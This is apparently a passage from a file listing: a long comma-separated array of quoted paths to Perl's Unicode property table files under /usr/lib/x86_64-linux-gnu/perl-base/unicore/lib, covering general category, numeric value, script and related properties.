"/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Dt/Nb.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Dt/NonCanon.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Dt/Sqr.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Dt/Sub.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Dt/Sup.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Dt/Vert.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/EBase/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/EComp/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/EPres/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Ea/A.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Ea/H.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Ea/N.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Ea/Na.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Ea/W.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Emoji/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Ext/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/ExtPict/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/GCB/CN.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/GCB/EX.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/GCB/LV.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/GCB/LVT.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/GCB/PP.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/GCB/SM.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/GCB/XX.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Gc/C.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Gc/Cf.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Gc/Cn.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Gc/L.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Gc/LC.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Gc/Ll.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Gc/Lm.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Gc/Lo.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Gc/Lu.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Gc/M.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Gc/Mc.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Gc/Me.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Gc/Mn.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Gc/N.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Gc/Nd.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Gc/Nl.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Gc/No.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Gc/P.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Gc/Pc.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Gc/Pd.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Gc/Pe.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Gc/Pf.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Gc/Pi.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Gc/Po.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Gc/Ps.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Gc/S.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Gc/Sc.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Gc/Sk.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Gc/Sm.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Gc/So.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Gc/Z.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Gc/Zs.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/GrBase/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/GrExt/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Hex/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Hst/NA.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Hyphen/T.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/IDC/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/IDS/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/IdStatus/Allowed.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/IdStatus/Restrict.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/IdType/DefaultI.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/IdType/Exclusio.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/IdType/Inclusio.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/IdType/LimitedU.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/IdType/NotChara.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/IdType/NotNFKC.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/IdType/NotXID.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/IdType/Obsolete.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/IdType/Recommen.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/IdType/Technica.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/IdType/Uncommon.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Ideo/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/In/10_0.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/In/11_0.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/In/12_0.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/In/12_1.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/In/13_0.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/In/14_0.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/In/15_0.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/In/2_0.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/In/2_1.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/In/3_0.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/In/3_1.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/In/3_2.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/In/4_0.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/In/4_1.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/In/5_0.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/In/5_1.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/In/5_2.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/In/6_0.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/In/6_1.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/In/6_2.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/In/6_3.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/In/7_0.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/In/8_0.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/In/9_0.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InPC/Bottom.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InPC/BottomAn.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InPC/Left.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InPC/LeftAndR.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InPC/NA.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InPC/Overstru.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InPC/Right.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InPC/Top.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InPC/TopAndBo.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InPC/TopAndL2.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InPC/TopAndLe.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InPC/TopAndRi.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InPC/VisualOr.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InSC/Avagraha.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InSC/Bindu.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InSC/Cantilla.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InSC/Consona2.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InSC/Consona3.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InSC/Consona4.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InSC/Consona5.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InSC/Consona6.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InSC/Consona7.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InSC/Consona8.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InSC/Consona9.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InSC/Consonan.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InSC/Geminati.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InSC/Invisibl.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InSC/Nukta.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InSC/Number.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InSC/Other.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InSC/PureKill.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InSC/Syllable.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InSC/ToneMark.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InSC/Virama.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InSC/Visarga.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InSC/Vowel.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InSC/VowelDep.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/InSC/VowelInd.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Jg/Ain.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Jg/Alef.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Jg/Beh.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Jg/Dal.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Jg/FarsiYeh.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Jg/Feh.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Jg/Gaf.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Jg/Hah.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Jg/HanifiRo.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Jg/Kaf.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Jg/Lam.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Jg/NoJoinin.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Jg/Noon.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Jg/Qaf.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Jg/Reh.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Jg/Sad.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Jg/Seen.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Jg/Tah.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Jg/Waw.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Jg/Yeh.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Jt/C.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Jt/D.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Jt/L.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Jt/R.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Jt/T.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Jt/U.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Lb/AI.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Lb/AL.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Lb/BA.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Lb/BB.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Lb/CJ.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Lb/CL.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Lb/CM.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Lb/EX.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Lb/GL.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Lb/ID.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Lb/IN.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Lb/IS.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Lb/NS.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Lb/NU.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Lb/OP.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Lb/PO.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Lb/PR.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Lb/QU.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Lb/SA.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Lb/XX.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Lower/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Math/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/NFCQC/M.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/NFCQC/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/NFDQC/N.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/NFDQC/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/NFKCQC/N.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/NFKCQC/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/NFKDQC/N.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/NFKDQC/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nt/Di.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nt/None.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nt/Nu.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/0.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/1.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/10.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/100.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/1000.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/10000.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/100000.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/11.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/12.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/13.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/14.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/15.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/16.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/17.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/18.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/19.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/1_16.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/1_2.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/1_3.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/1_4.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/1_6.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/1_8.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/2.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/20.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/200.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/2000.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/20000.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/2_3.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/3.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/30.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/300.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/3000.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/30000.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/3_16.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/3_4.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/4.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/40.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/400.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/4000.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/40000.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/5.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/50.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/500.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/5000.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/50000.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/6.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/60.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/600.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/6000.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/60000.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/7.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/70.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/700.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/7000.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/70000.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/8.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/80.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/800.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/8000.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/80000.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/9.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/90.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/900.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/9000.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/90000.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/PCM/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/PatSyn/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Perl/Alnum.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Perl/Assigned.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Perl/Blank.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Perl/Graph.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Perl/PerlWord.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Perl/PosixPun.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Perl/Print.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Perl/SpacePer.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Perl/Title.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Perl/Word.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Perl/XPosixPu.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Perl/_PerlAny.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Perl/_PerlCh2.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Perl/_PerlCha.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Perl/_PerlFol.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Perl/_PerlIDC.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Perl/_PerlIDS.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Perl/_PerlIsI.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Perl/_PerlNch.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Perl/_PerlPat.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Perl/_PerlPr2.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Perl/_PerlPro.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Perl/_PerlQuo.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/QMark/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/SB/AT.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/SB/CL.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/SB/EX.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/SB/FO.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/SB/LE.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/SB/LO.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/SB/NU.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/SB/SC.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/SB/ST.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/SB/Sp.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/SB/UP.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/SB/XX.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/SD/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/STerm/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Sc/Arab.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Sc/Beng.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Sc/Cprt.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Sc/Cyrl.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Sc/Deva.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Sc/Dupl.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Sc/Geor.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Sc/Glag.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Sc/Gong.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Sc/Gonm.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Sc/Gran.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Sc/Grek.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Sc/Gujr.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Sc/Guru.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Sc/Han.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Sc/Hang.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Sc/Hira.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Sc/Kana.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Sc/Knda.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Sc/Latn.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Sc/Limb.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Sc/Linb.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Sc/Mlym.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Sc/Mong.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Sc/Mult.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Sc/Orya.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Sc/Sinh.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Sc/Syrc.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Sc/Taml.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Sc/Telu.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Sc/Zinh.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Sc/Zyyy.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Adlm.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Arab.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Armn.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Beng.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Bhks.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Bopo.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Cakm.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Cham.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Copt.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Cprt.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Cyrl.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Deva.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Diak.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Dupl.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Ethi.pl", 